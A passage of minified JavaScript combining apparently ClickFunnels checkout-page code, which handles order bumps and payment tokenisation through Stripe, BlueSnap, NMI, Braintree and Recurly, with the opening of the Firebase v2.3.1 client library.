input").each(function(){"bump-offer"!==$(this).attr("id")?$('#cfAR span[data-cf-product-template="true"]:not(.hide) input[name="purchase[product_ids][]"]:checkbox[value='+$(this).val()+"]").attr("checked",!1):$('#cfAR input[name="purchase[product_ids][]"]:checkbox[value='+$(this).val()+"]").attr("checked",!1)}),$(this).attr("checked")&&($('#cfAR input[name="'+$(this).attr("name")+'"]:checkbox[value='+$(this).val()+"]").attr("checked",!0),$('#cfAR input[name="purchase[product_ids][]"]:checkbox[value='+$(this).val()+"]").attr("checked",!0)),cfpeRebuildOrderSummary()}),cfpeRebuildOrderSummary(),$('.qty_select, .o2step_step2 [name="purchase[product_id]"], [data-de-type="orpo"] [name="purchase[product_id]"]').on("change",function(){cfpeRebuildOrderSummary()}),$('#bump-offer, [id*="bump_offer_"]').on("change",function(){var e=$(this),t=e.val();e.is(":checked")?$('#cfAR [name="purchase[product_ids][]"][value="'+t+'"]').attr("checked",!0):$('#cfAR [name="purchase[product_ids][]"][value="'+t+'"]').attr("checked",!1),cfpeRebuildOrderSummary(),window.ClickFunnels.isOrderWithProductVariants&&window.ClickFunnels.OrderProductVariationSummary.setBumpProduct(e)}),$(".elOrderProductOptinProducts").not(".hide").find('input[name="purchase[product_id]"], input[name="order[product_ids][]"][id!="bump-offer"], input[name="purchase[product_ids][]"][id!="bump-offer"]').not("#cfAR input").first().click(),$('input[name="order_upsell[unique_order_token]"]').val(getURLParameter("unique_token"))}),calcTax(),jQuery(function(e){e(document).ready(function(){calcShipping()}),e("#cfAR").submit(function(t){var n=e(this);n.find("[data-stripe=number]").val(e("[data-stripe=number]").first().val()),n.find("[data-stripe=exp-month]").val(e("[data-stripe=exp-month]").first().val()),n.find("[data-stripe=exp-year]").val(e("[data-stripe=exp-year]").first().val()),n.find("[data-stripe=cvc]").val(e("[data-stripe=cvc]").first().val()),[{stripe:"address_line1",primary:"address",fallback:"shipping_address"},{stripe:"address_city",primary:"city",fallback:"shipping_city"},{stripe:"address_state",primary:"state",fallback:"shipping_state"},{stripe:"address_zip",primary:"zip",fallback:"shipping_zip"},{stripe:"address_country",primary:"country",fallback:"shipping_country"},{stripe:"shipping_address"},{stripe:"shipping_city"},{stripe:"shipping_state"},{stripe:"shipping_zip"},{stripe:"shipping_country"}].forEach(function(t){t.primary||(t.primary=t.stripe,t.fallback=t.stripe);var i=e("[name="+t.primary+"]").filter(":visible:first");0===i.size()&&(i=e("[name="+t.fallback+"]")),n.find("[data-stripe="+t.stripe+"]").val(i.val())}),e('#cCmodalPopup [name="purchase[product_id]"]').length&&n.find('[type="radio"][name="purchase[product_id]"]').val(e('#cCmodalPopup [name="purchase[product_id]"]').val()).prop("checked",!0);var i=n.find("[data-stripe=name]") ;if(0==i.size()&&(n.append("<input type='hidden' data-stripe='name'/>"),i=n.find("[data-stripe=name]")),0===i.val().length){var r=e("[name=first_name]").filter(":visible:first");0==r.size()&&(r=e("[name=first_name]"));var o=e("[name=last_name]").filter(":visible:first");0==o.size()&&(o=e("[name=last_name]"));var a="";r.size()>0&&(a=r.val().trim()),o.size()>0&&(a+=" "+o.val().trim()),(a=a.trim()).length>0&&i.val(a)}e("button").prop("disabled",!0);var s=e("[href=#submit-form], [href=#submit-form-2step-order]");if(window.ClickFunnels.CFPeOrders.SubmitButton.storeContent(s),s.text("Submitting..."),s.prop("disabled",!0),"undefined"!=typeof Stripe)return"undefined"!=typeof stripeResponseHandler&&Stripe.card.createToken(e("#cfAR"),stripeResponseHandler),!1;if("undefined"!=typeof hostedFieldTokenId)return"undefined"!=typeof bluesnap&&bluesnap.submitCredentials(function(t){console.log("the card type is "+t.ccType+", last 4 digits are "+t.last4Digits+", exp is "+t.exp+" and issuing Country is "+t.issuingCountry+", after that I can call final submit"),e("#cfAR").get(0).submit()}),t.preventDefault(),!1;if("undefined"!=typeof Nmi){switch(this_url=e("head").data("thisUrl"),!0){case/(localhost|ngrok)/.test(this_url):root_url="";break;default:root_url=document.location.origin}return nmi_url=root_url+"/pages/"+page_key+"/payment_gateways/nmi/step-1",e("[data-stripe=number]").prop("disabled",!0),e("input[data-stripe=exp-month]").prop("disabled",!0),e("[data-stripe=exp-month]").prop("disabled",!0),e("[data-stripe=exp-year]").prop("disabled",!0),e("[data-stripe=cvc]").prop("disabled",!0),e.ajax({type:"POST",url:nmi_url,data:e("#cfAR").serialize(),success:function(t){return e("#cfAR").attr("action",t),e("[data-stripe=number]").prop("disabled",!1).attr("name","billing-cc-number"),e("input[data-stripe=exp-month]").prop("disabled",!1).attr("name","billing-cc-exp"),e("input[name=billing-cc-exp]").val(e("[data-stripe=exp-month]").val()+e("[data-stripe=exp-year]").val().slice(-2)),e("[data-stripe=cvc]").prop("disabled",!1).attr("name","billing-cvv"),e("#cfAR").get(0).submit(),!0},error:function(){return e("[data-href-original]").each(function(){e(this).attr("href",e(this).data("href-original")),e(this).removeAttr("data-href-original")}),window.ClickFunnels.OrderDeclinedMessage.show("Error with card"),window.location="#order-declined-message",e("button").prop("disabled",!1),e("[href=#submit-form], [href=#submit-form-2step-order]").text("Submit and Retry"),e("[href=#submit-form], [href=#submit-form-2step-order]").prop("disabled",!1),!1}}),!1}return e("#btform")[0]&&""==e("#cfAR").find('[name="purchase[payment_method_nonce]"]').val()?(e("#btform input[type=submit]").first().click(),setTimeout(function(){return e("#cfAR").find('[name="purchase[payment_method_nonce]"]').val(e('[name="purchase[payment_method_nonce]"]').first().val()),""==e("#cfAR").find('[name="purchase[payment_method_nonce]"]').val()?(e("[data-href-original]").each(function(){e(this).attr("href",e(this).data("href-original")),e(this).removeAttr("data-href-original")}),window.ClickFunnels.OrderDeclinedMessage.show("Error with card"),window.location="#order-declined-message",e("button").prop("disabled",!1),e("[href=#submit-form], [href=#submit-form-2step-order]").text("Submit and Retry"),e("[href=#submit-form], [href=#submit-form-2step-order]").prop("disabled",!1),!1):(e("#cfAR").get(0).submit(),!0)},5e3),!1):"undefined"==typeof recurly_publishable_key_check||(e("body").append('<script src="https://js.recurly.com/v3/recurly.js"></script>'),setInterval(function(){""==recurly.config.publicKey&&(recurly.configure(recurly_publishable_key_check),recurly.token(e("#cfAR").get(0),recurlyTokenHandler))},1e3),t.preventDefault(),!1)}).ready(function(){if("undefined"!=typeof hostedFieldTokenId){var t="ws.bluesnap.com";"undefined"!=typeof testMode&&(t="sandbox.bluesnap.com"),e(".elCreditCardForm").append('<script src="https://'+t+'/services/hosted-payment-fields/v2.0/bluesnap.hpf.min.js"></script>'),e(".ccNumberWrap [data-stripe=number]").replaceWith(e('<div class="cc-ccn form-control" id="ccn" data-bluesnap="ccn"></div>')),e(".ccCVCWrap [data-stripe=cvc]").replaceWith(e('<div class="cc-cvv form-control" id="cvv" data-bluesnap="cvv"></div>')),e(e('<div class="ccExpWrap"><div class="ccExpText ccInputText">Expiration Date:</div><div class="cc-exp form-control" id="exp-date" data-bluesnap="exp"></div></div>')).insertBefore(".ccMonthWrap"),e(".ccYearWrap, .ccMonthWrap").remove();var n=e("#cfAR");void 0!==n&&n.append(e('<input type="hidden" name="purchase[payment_gateway_token]" />').val(hostedFieldTokenId)),setTimeout(function(){var t={hostedPaymentFields:{ccn:"ccn",cvv:"cvv",exp:"exp"},onFieldEventHandler:{onError:function(t){window.ClickFunnels.OrderDeclinedMessage.show("Error with card: "+t+". Please check your data and try again."),e("[href=#submit-form]").prop("disabled",!0)},onValid:function(){window.ClickFunnels.OrderDeclinedMessage.hide(),e("[href=#submit-form]").prop("disabled",!1)}},style:{input:{"font-size":"14px","line-height":"1.42857143"}},ccnPlaceHolder:"1234 5678 9012 3456",cvvPlaceHolder:"123",expPlaceHolder:"MM/YY"};bluesnap.hostedPaymentFieldsCreation(hostedFieldTokenId,t)},3e3)}})}),$(document).ready(function(){function e(){getVars=undefined,getVars=document.location.search.length>1?document.location.search.substring(1).split("&"):new Array(0);for(var e=0;e<getVars.length;e++)tempArray=getVars[e].split("="),getVars[tempArray[0]]=decodeURIComponent(tempArray[1]),delete tempArray}try{$("form").each(function(){$(this).parsley()})}catch(t){}e(),"true"==getVars.declined&&(location.href="#order-declined-message",getVars.errors&&(errorMessage=String(getVars.errors),window.ClickFunnels.OrderDeclinedMessage.show(errorMessage)),$("#order-declined-message").show(),$("#add-to-cart-form").fadeIn(),$stepOrderWrapper=$("[href=#submit-form-2step]").closest(".elOrder2Step"),$stepOrderWrapper.length&&($stepOrderWrapper.find(".o2step_step1").hide(),$stepOrderWrapper.find(".o2step_step2").show(),$stepOrderWrapper.find(".order2Step-step").removeClass("order2StepActive"),$stepOrderWrapper.find(".order2Step-step-2").addClass("order2StepActive"),$stepOrderWrapper.find(".order2StepProgress").removeClass("order2Step25"),$stepOrderWrapper.find(".order2StepProgress").addClass("order2Step75"),$(".o2step_step2").prepend('<a href="#" class="goBacktoStepOneOrderBump" style="display: block; color: #888 !important; text-none: underline;font-size: 11px; color: #333; padding: 5px; padding-top: 0;padding-bottom: 15px; margin-top: 0;"><i class="fa fa-arrow-left" style="padding-right: 7px;"></i><span class="goBacktoStepOneOrderBumpSpan">Edit Shipping Details</span></a>'),$step2header=$stepOrderWrapper.find(".order2StepHeader"),$step2header.length&&$step2header.get(0).scrollIntoView()))}),$(function(){$('[href*="#yes-link"], [href*="#no-link"], [data-cf-id=yes-link], [data-cf-id=yes-link-2], [data-cf-id=no-link]').click(function(e){return $(this).data("clicked")?(e.preventDefault(),!1):($(".otoloading").show(),!0)})});var recurlyNameHandler=function(){var e=$('input[name="name"]');first_name=e.val().split(" ")[0],last_name=e.val().split(" ").slice(1).join(" "),$('input[name="contact[first_name]"]').val(first_name).data("recurly","first_name"),$('input[name="contact[last_name]"]').val(last_name).data("recurly","last_name")},recurlyCountryHandler=function(){var e=$('select[name="country"]').val(),t=$('select[name="shipping_country"]').val();e&&"united states of america"==e.toLowerCase()&&$('select[name="country"], input[name="contact[country]"]').val("United States"),t&&"united states of america"==t.toLowerCase()&&$('select[name="shipping_country"], input[name="contact[shipping_country]"]').val("United States")};$(document).ready(function(){"undefined"!=typeof recurly_publishable_key_check&&($("body").append('<script src="https://js.recurly.com/v3/recurly.js"></script>'),void 0!==$("#cfAR")&&(document.querySelectorAll("#cfAR [data-recurly]").forEach(function(e){var t=e.getAttribute("data-recurly");if("first_name"!=t&&"last_name"!=t){var n=e.getAttribute("data-cf-form-field");n&&null==document.querySelector("[name='"+n+"']")&&e.remove()}}),!$('input[name="name"]').length||$('input[name="first_name"]').length||$('input[name="last_name"]').length||($('input[name="name"]').on("change",function(){recurlyNameHandler()}),setTimeout(function(){recurlyNameHandler()},2e3)),$('select[name="country"], select[name="shipping_country"]').length&&($('select[name="country"]').garlic({onRetrieve:function(){$('select[name="country"]').trigger("change")}}),$('select[name="shipping_country"]').garlic({onRetrieve:function(){$('select[name="shipping_country"]').trigger("change")}}),$('select[name="country"], select[name="shipping_country"]').on("change",function(){recurlyCountryHandler()}))))});var recurlyTokenHandler=function(e,t){var n=$("#cfAR");if(void 0!==n)if(e)console.log(e),$("[data-href-original]").each(function(){$(this).attr("href",$(this).data("href-original")),$(this).removeAttr("data-href-original")}),message=e.message,"first_name"==e.fields[0]&&(message+="\n First Name and Last Name fields are Required for Recurly"),window.ClickFunnels.OrderDeclinedMessage.show(message),window.location="#order-declined-message",$("button").prop("disabled",!1),$("[href=#submit-form], [href=#submit-form-2step-order]").text("Submit and Retry"),$("[href=#submit-form], [href=#submit-form-2step-order]").prop("disabled",!1);else{console.log(t);t=t.id;n.append($('<input type="hidden" name="purchase[payment_gateway_token]" />').val(t)),n.get(0).submit()}};cfpeorders=!0}window.addEventListener("DOMContentLoaded",function(){window.ClickFunnels.isOrderWithProductVariants=$(".elOrderProductVariationSelectContainer").length&&$(".elProductVariationsOrderSummary").length&&!0,window.ClickFunnels.OrderProductVariationSelect.init(),window.ClickFunnels.OrderProductVariationSummary.init()}), /*! @license Firebase v2.3.1 License: https://www.firebase.com/terms/terms-of-service.html */ function(){function n(e){return void 0!==e}function ba(){}function ca(e){e.ub=function(){return e.uf?e.uf:e.uf=new e}}function da(e){var t=typeof e;if("object"==t){if(!e)return"null";if(e instanceof Array)return"array";if(e instanceof Object)return t;var n=Object.prototype.toString.call(e);if("[object Window]"==n)return"object";if("[object Array]"==n||"number"==typeof e.length&&"undefined"!=typeof e.splice&&"undefined"!=typeof e.propertyIsEnumerable&&!e.propertyIsEnumerable("splice"))return"array";if("[object Function]"==n||"undefined"!=typeof e.call&&"undefined"!=typeof e.propertyIsEnumerable&&!e.propertyIsEnumerable("call"))return"function"}else if("function"==t&&"undefined"==typeof e.call)return"object";return t}function ea(e){return"array"==da(e)}function fa(e){var t=da(e);return"array"==t||"object"==t&&"number"==typeof e.length}function p(e){return"string"==typeof e}function ga(e){return"number"==typeof e}function ha(e){return"function"==da(e)}function ia(e){var t=typeof e;return"object"==t&&null!=e||"function"==t}function ja(e){return e.call.apply(e.bind,arguments)}function ka(e,t){if(!e)throw Error();if(2<arguments.length){var n=Array.prototype.slice.call(arguments,2);return function(){var i=Array.prototype.slice.call(arguments);return Array.prototype.unshift.apply(i,n),e.apply(t,i)}}return function(){return e.apply(t,arguments)}}function q(){return(q=Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?ja:ka).apply(null,arguments)}function ma(e,t){function n(){}n.prototype=t.prototype,e.bh=t.prototype,e.prototype=new n,e.prototype.constructor=e,e.Yg=function(e,n){for(var i=Array(arguments.length-2),r=2;r<arguments.length;r++)i[r-2]=arguments[r];return t.prototype[n].apply(e,i)}}function r(e,t){for(var n in e)t.call(void 0,e[n],n,e)}function na(e,t){var n,i={};for(n in e)i[n]=t.call(void 0,e[n],n,e);return i}function oa(e,t){for(var n in e)if(!t.call(void 0,e[n],n,e))return!1;return!0}function pa(e){var t,n=0;for(t in e)n++;return n}function qa(e){for(var t in e)return t}function ra(e){var t,n=[],i=0;for(t in e)n[i++]=e[t];return n}function sa(e){var t,n=[],i=0;for(t in e)n[i++]=t;return n}function ta(e,t){for(var n in e)if(e[n]==t)return!0;return!1}function ua(e,t,n){for(var i in e)if(t.call(n,e[i],i,e))return i}function va(e,t){var n=ua(e,t,void 0);return n&&e[n]}function wa(e){for(var t in e)return!1;return!0}function xa(e){var t,n={};for(t in e)n[t]=e[t];return n}function za(e){for(var t,n,i=1;i<arguments.length;i++){for(t in n=arguments[i])e[t]=n[t];for(var r=0;r<ya.length;r++)t=ya[r],Object.prototype.hasOwnProperty.call(n,t)&&(e[t]=n[t])}}function Aa(a){if(a=String(a),!/^\s*$/.test(a)&&/^[\],:{}\s\u2028\u2029]*$/.test(a.replace(/\\["\\\/bfnrtu]/g,"@").replace(/"[^"\\\n\r\u2028\u2029\x00-\x08\x0a-\x1f]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:[\s\u2028\u2029]*\[)+/g,"")))try{return eval("("+a+")")}catch(b){}throw Error("Invalid JSON string: "+a)}function Ba(){this.Sd=void 0}function Ca(e,t,n){switch(typeof t){case"string":Da(t,n);break;case"number":n.push(isFinite(t)&&!isNaN(t)?t:"null");break;case"boolean":n.push(t);break;case"undefined":n.push("null");break;case"object":if(null==t){n.push("null");break}if(ea(t)){var i=t.length;n.push("[");for(var r="",o=0;o<i;o++)n.push(r),r=t[o],Ca(e,e.Sd?e.Sd.call(t,String(o),r):r,n),r=",";n.push("]");break}for(o in n.push("{"),i="",t)Object.prototype.hasOwnProperty.call(t,o)&&("function"!=typeof(r=t[o])&&(n.push(i),Da(o,n),n.push(":"),Ca(e,e.Sd?e.Sd.call(t,o,r):r,n),i=","));n.push("}");break;case"function":break;default:throw Error("Unknown type: "+typeof t)}}function Da(e,t){t.push('"',e.replace(Fa,function(e){if(e in Ea)return Ea[e];var t=e.charCodeAt(0),n="\\u";return 16>t?n+="000":256>t?n+="00":4096>t&&(n+="0"),Ea[e]=n+t.toString(16)}),'"')}function Ga(){return Math.floor(2147483648*Math.random()).toString(36)+Math.abs(Math.floor(2147483648*Math.random())^la()).toString(36)}function Ka(){this.Va=-1}function La(){this.Va=-1,this.Va=64,this.N=[],this.me=[],this.Wf=[],this.Ld=[],this.Ld[0]=128;for(var e=1;e<this.Va;++e)this.Ld[e]=0;this.de=this.ac=0,this.reset()}function Ma(e,t,n){n||(n=0);var i=e.Wf;if(p(t))for(var r=0;16>r;r++)i[r]=t.charCodeAt(n)<<24|t.charCodeAt(n+1)<<16|t.charCodeAt(n+2)<<8|t.charCodeAt(n+3),n+=4;else for(r=0;16>r;r++)i[r]=t[n]<<24|t[n+1]<<16|t[n+2]<<8|t[n+3],n+=4;for(r=16;80>r;r++){var o=i[r-3]^i[r-8]^i[r-14]^i[r-16];i[r]=4294967295&(o<<1|o>>>31)}t=e.N[0],n=e.N[1];var a,s=e.N[2],l=e.N[3],c=e.N[4];for(r=0;80>r;r++)40>r?20>r?(o=l^n&(s^l),a=1518500249):(o=n^s^l,a=1859775393):60>r?(o=n&s|l&(n|s),a=2400959708):(o=n^s^l,a=3395469782),o=(t<<5|t>>>27)+o+c+a+i[r]&4294967295,c=l,l=s,s=4294967295&(n<<30|n>>>2),n=t,t=o;e.N[0]=e.N[0]+t&4294967295,e.N[1]=e.N[1]+n&4294967295,e.N[2]=e.N[2]+s&4294967295,e.N[3]=e.N[3]+l&4294967295,e.N[4]=e.N[4]+c&4294967295}function Ta(e,t){var n=Ua(e,t,void 0);return 0>n?null:p(e)?e.charAt(n):e[n]}function Ua(e,t,n){for(var i=e.length,r=p(e)?e.split(""):e,o=0;o<i;o++)if(o in r&&t.call(n,r[o],o,e))return o;return-1}function Va(e,t){var n=Na(e,t);0<=n&&u.splice.call(e,n,1)}function Wa(e,t,n){return 2>=arguments.length?u.slice.call(e,t):u.slice.call(e,t,n)}function Xa(e,t){e.sort(t||Ya)}function Ya(e,t){return e>t?1:e<t?-1:0}function fb(e,t){if(!fa(e))throw Error("encodeByteArray takes an array as a parameter");gb();for(var n=t?db:cb,i=[],r=0;r<e.length;r+=3){var o=e[r],a=r+1<e.length,s=a?e[r+1]:0,l=r+2<e.length,c=o>>2,u=(o=(3&o)<<4|s>>4,s=(15&s)<<2|(u=l?e[r+2]:0)>>6,63&u);l||(u=64,a||(s=64)),i.push(n[c],n[o],n[s],n[u])}return i.join("")}function gb(){if(!cb){cb={},db={},eb={};for(var e=0;65>e;e++)cb[e]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".charAt(e),db[e]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.".charAt(e),eb[db[e]]=e,62<=e&&(eb["ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".charAt(e)]=e)}}function v(e,t){return Object.prototype.hasOwnProperty.call(e,t)}function w(e,t){if(Object.prototype.hasOwnProperty.call(e,t))return e[t]}function ib(e,t){for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&t(n,e[n])}function jb(e){var t={};return ib(e,function(e,n){t[e]=n}),t}function kb(e){var t=[];return ib(e,function(e,n){ea(n)?Oa(n,function(n){t.push(encodeURIComponent(e)+"="+encodeURIComponent(n))}):t.push(encodeURIComponent(e)+"="+encodeURIComponent(n))}),t.length?"&"+t.join("&"):""}function lb(e){var t={};return e=e.replace(/^\?/,"").split("&"),Oa(e,function(e){e&&(e=e.split("="),t[e[0]]=e[1])}),t}function x(e,t,n,i){var r;if(i<t?r="at least "+t:i>n&&(r=0===n?"none":"no more than "+n),r)throw Error(e+" failed: Was called with "+i+(1===i?" argument.":" arguments.")+" Expects "+r+".")}function y(e,t,n){var i="";switch(t){case 1:i=n?"first":"First";break;case 2:i=n?"second":"Second";break;case 3:i=n?"third":"Third";break;case 4:i=n?"fourth":"Fourth";break;default:throw Error("errorPrefix called with argumentNumber > 4. Need to update it?")}return e+" failed: "+i+" argument "}function A(e,t,i,r){if((!r||n(i))&&!ha(i))throw Error(y(e,t,r)+"must be a valid function.")}function mb(e,t,i){if(n(i)&&(!ia(i)||null===i))throw Error(y(e,t,!0)+"must be a valid context object.")}function nb(e){return"undefined"!=typeof JSON&&n(JSON.parse)?JSON.parse(e):Aa(e)}function B(e){if("undefined"!=typeof JSON&&n(JSON.stringify))e=JSON.stringify(e);else{var t=[];Ca(new Ba,e,t),e=t.join("")}return e}function ob(){this.Wd=C}function pb(){}function rb(e,t,n){this.Tf=e,this.Ka=t,this.Kd=n}function vb(){this.tb=[]}function wb(e,t){for(var n=null,i=0;i<t.length;i++){var r=t[i],o=r.Zb();null===n||o.ca(n.Zb())||(e.tb.push(n),n=null),null===n&&(n=new xb(o)),n.add(r)}n&&e.tb.push(n)}function yb(e,t,n){wb(e,n),zb(e,function(e){return e.ca(t)})}function Ab(e,t,n){wb(e,n),zb(e,function(e){return e.contains(t)||t.contains(e)})}function zb(e,t){for(var n=!0,i=0;i<e.tb.length;i++){if(r=e.tb[i])if(t(r=r.Zb())){for(var r=e.tb[i],o=0;o<r.vd.length;o++){var a=r.vd[o];if(null!==a){r.vd[o]=null;var s=a.Vb();Bb&&Cb("event: "+a.toString()),Db(s)}}e.tb[i]=null}else n=!1}n&&(e.tb=[])}function xb(e){this.ra=e,this.vd=[]}function D(e,t,n,i){this.type=e,this.Ja=t,this.Wa=n,this.Ke=i,this.Qd=void 0}function Eb(e){return new D(Fb,e)}function Gb(e,t,n,i){this.ue=t,this.Zd=n,this.Qd=i,this.ud=e}function Hb(e,t,n){this.ue=e,this.error=t,this.path=n}function tb(e,t,n){this.A=e,this.ea=t,this.Ub=n}function Ib(e){return e.ea}function Jb(e){return e.Ub}function Kb(e,t){return t.e()?e.ea&&!e.Ub:sb(e,E(t))}function sb(e,t){return e.ea&&!e.Ub||e.A.Da(t)}function Lb(e){this.gg=e,this.Dd=null}function Mb(e,t){this.Of={},this.fd=new Lb(e),this.ba=t;var n=1e4+2e4*Math.random();setTimeout(q(this.If,this),Math.floor(n))}function Nb(){this.Ec={}}function Ob(e,t,i){n(i)||(i=1),v(e.Ec,t)||(e.Ec[t]=0),e.Ec[t]+=i}function Rb(e){return e=e.toString(),Pb[e]||(Pb[e]=new Nb),Pb[e]}function Sb(e,t){var n=e.toString();return Qb[n]||(Qb[n]=t()),Qb[n]}function F(e,t){this.name=e,this.S=t}function Tb(e,t){return new F(e,t)}function Ub(e,t){return Vb(e.name,t.name)}function Wb(e,t){return Vb(e,t)}function Xb(e,t,n){this.type=Yb,this.source=e,this.path=t,this.Ga=n}function Zb(e,t){this.type=$b,this.source=e,this.path=t}function ac(e,t){this.La=e,this.wa=t||bc}function cc(e,t){for(var n,i=e.wa,r=null;!i.e();){if(0===(n=e.La(t,i.key))){if(i.left.e())return r?r.key:null;for(i=i.left;!i.right.e();)i=i.right;return i.key}0>n?i=i.left:0<n&&(r=i,i=i.right)}throw Error("Attempted to find predecessor key for a nonexistent key. What gives?")}function dc(e,t,n,i,r){for(this.Ud=r||null,this.Fe=i,this.Pa=[],r=1;!e.e();)if(r=t?n(e.key,t):1,i&&(r*=-1),0>r)e=this.Fe?e.left:e.right;else{if(0===r){this.Pa.push(e);break}this.Pa.push(e),e=this.Fe?e.right:e.left}}function J(e){if(0===e.Pa.length)return null;var t,n=e.Pa.pop();if(t=e.Ud?e.Ud(n.key,n.value):{key:n.key,value:n.value},e.Fe)for(n=n.left;!n.e();)e.Pa.push(n),n=n.right;else for(n=n.right;!n.e();)e.Pa.push(n),n=n.left;return t}function ec(e){return 0===e.Pa.length?null:(t=(t=e.Pa)[t.length-1],e.Ud?e.Ud(t.key,t.value):{key:t.key,value:t.value});var t}function fc(e,t,n,i,r){this.key=e,this.value=t,this.color=null==n||n,this.left=null!=i?i:bc,this.right=null!=r?r:bc}function gc(e){return e.left.e()?e:gc(e.left)}function ic(e){return e.left.e()?bc:(e.left.fa()||e.left.left.fa()||(e=jc(e)),hc(e=e.Y(null,null,null,ic(e.left),null)))}function hc(e){return e.right.fa()&&!e.left.fa()&&(e=mc(e)),e.left.fa()&&e.left.left.fa()&&(e=kc(e)),e.left.fa()&&e.right.fa()&&(e=lc(e)),e}function jc(e){return(e=lc(e)).right.left.fa()&&(e=lc(e=mc(e=e.Y(null,null,null,null,kc(e.right))))),e}function mc(e){return e.right.Y(null,null,e.color,e.Y(null,null,!0,null,e.right.left),null)}function kc(e){return e.left.Y(null,null,e.color,null,e.Y(null,null,!0,e.left.right,null))}function lc(e){return e.Y(null,null,!e.color,e.left.Y(null,null,!e.left.color,null,null),e.right.Y(null,null,!e.right.color,null,null))}function nc(){}function oc(e,t){return e&&"object"==typeof e?(K(".sv"in e,"Unexpected leaf node or priority contents"),t[e[".sv"]]):e}function pc(e,t){var n=new qc;return rc(e,new L(""),function(e,i){n.nc(e,sc(i,t))}),n}function sc(e,t){var n,i=oc(i=e.C().I(),t);if(e.K()){var r=oc(e.Ca(),t);return r!==e.Ca()||i!==e.C().I()?new tc(r,M(i)):e}return n=e,i!==e.C().I()&&(n=n.ga(new tc(i))),e.P(N,function(e,i){var r=sc(i,t);r!==i&&(n=n.U(e,r))}),n}function uc(){this.wc={}}function vc(e){this.Fc=e,this.Pd="firebase:"}function wc(e){try{if("undefined"!=typeof window&&"undefined"!=typeof window[e]){var t=window[e];return t.setItem("firebase:sentinel","cache"),t.removeItem("firebase:sentinel"),new vc(t)}}catch(n){}return new uc}function zc(e,t,n,i,r){this.host=e.toLowerCase(),this.domain=this.host.substr(this.host.indexOf(".")+1),this.kb=t,this.hc=n,this.Wg=i,this.Od=r||"",this.Ya=xc.get("host:"+e)||this.host}function Ac(e,t){t!==e.Ya&&(e.Ya=t,"s-"===e.Ya.substr(0,2)&&xc.set("host:"+e.host,e.Ya))}function Bc(e,t,n){if(K("string"==typeof t,"typeof type must == string"),K("object"==typeof n,"typeof params must == object"),t===Cc)t=(e.kb?"wss://":"ws://")+e.Ya+"/.ws?";else{if(t!==Dc)throw Error("Unknown connection type: "+t);t=(e.kb?"https://":"http://")+e.Ya+"/.lp?"}e.host!==e.Ya&&(n.ns=e.hc);var i=[];return r(n,function(e,t){i.push(t+"="+e)}),t+i.join("&")}function K(e,t){if(!e)throw Fc(t)}function Fc(e){return Error("Firebase ("+hb+") INTERNAL ASSERT FAILED: "+e)}function Gc(e){try{var t;if("undefined"!=typeof atob)t=atob(e);else{gb();for(var n=eb,i=[],r=0;r<e.length;){var o=n[e.charAt(r++)],a=r<e.length?n[e.charAt(r)]:0,s=++r<e.length?n[e.charAt(r)]:64,l=++r<e.length?n[e.charAt(r)]:64;if(++r,null==o||null==a||null==s||null==l)throw Error();i.push(o<<2|a>>4),64!=s&&(i.push(a<<4&240|s>>2),64!=l&&i.push(s<<6&192|l))}if(8192>i.length)t=String.fromCharCode.apply(null,i);else{for(e="",n=0;n<i.length;n+=8192)e+=String.fromCharCode.apply(null,Wa(i,n,n+8192));t=e}}return t}catch(c){Cb("base64Decode failed: ",c)}return null}function Hc(e){var t=Ic(e);(e=new La).update(t);t=[];var n=8*e.de;56>e.ac?e.update(e.Ld,56-e.ac):e.update(e.Ld,e.Va-(e.ac-56));for(var i=e.Va-1;56<=i;i--)e.me[i]=255&n,n/=256;for(Ma(e,e.me),i=n=0;5>i;i++)for(var r=24;0<=r;r-=8)t[n]=e.N[i]>>r&255,++n;return fb(t)}function Jc(){for(var e="",t=0;t<arguments.length;t++)e=fa(arguments[t])?e+Jc.apply(null,arguments[t]):"object"==typeof arguments[t]?e+B(arguments[t]):e+arguments[t],e+=" ";return e}function Cb(){if(!0===Kc&&(Kc=!1,null===Bb&&!0===yc.get("logging_enabled")&&Lc(!0)),Bb){var e=Jc.apply(null,arguments);Bb(e)}}function Mc(e){return function(){Cb(e,arguments)}}function Nc(){if("undefined"!=typeof console){var e="FIREBASE INTERNAL ERROR: "+Jc.apply(null,arguments);"undefined"!=typeof console.error?console.error(e):console.log(e)}}function Oc(){var e=Jc.apply(null,arguments);throw Error("FIREBASE FATAL ERROR: "+e)}function O(){if("undefined"!=typeof console){var e="FIREBASE WARNING: "+Jc.apply(null,arguments);"undefined"!=typeof console.warn?console.warn(e):console.log(e)}}function Pc(e){var t="",n="",i="",r="",o=!0,a="https",s=443;if(p(e)){var l=e.indexOf("//");for(0<=l&&(a=e.substring(0,l-1),e=e.substring(l+2)),-1===(l=e.indexOf("/"))&&(l=e.length),t=e.substring(0,l),r="",e=e.substring(l).split("/"),l=0;l<e.length;l++)if(0<e[l].length){var c=e[l];try{c=decodeURIComponent(c.replace(/\+/g," "))}catch(u){}r+="/"+c}3===(e=t.split(".")).length?(n=e[1],i=e[0].toLowerCase()):2===e.length&&(n=e[0]),0<=(l=t.indexOf(":"))&&(o="https"===a||"wss"===a,s=t.substring(l+1),isFinite(s)&&(s=String(s)),s=p(s)?/^\s*-?0x/i.test(s)?parseInt(s,16):parseInt(s,10):NaN)}return{host:t,port:s,domain:n,Tg:i,kb:o,scheme:a,$c:r}}function Qc(e){return ga(e)&&(e!=e||e==Number.POSITIVE_INFINITY||e==Number.NEGATIVE_INFINITY)}function Rc(e){if("complete"===document.readyState)e();else{var t=!1,n=function(){document.body?t||(t=!0,e()):setTimeout(n,Math.floor(10))};document.addEventListener?(document.addEventListener("DOMContentLoaded",n,!1),window.addEventListener("load",n,!1)):document.attachEvent&&(document.attachEvent("onreadystatechange",function(){"complete"===document.readyState&&n()}),window.attachEvent("onload",n))}}function Vb(e,t){if(e===t)return 0;if("[MIN_NAME]"===e||"[MAX_NAME]"===t)return-1;if("[MIN_NAME]"===t||"[MAX_NAME]"===e)return 1;var n=Sc(e),i=Sc(t);return 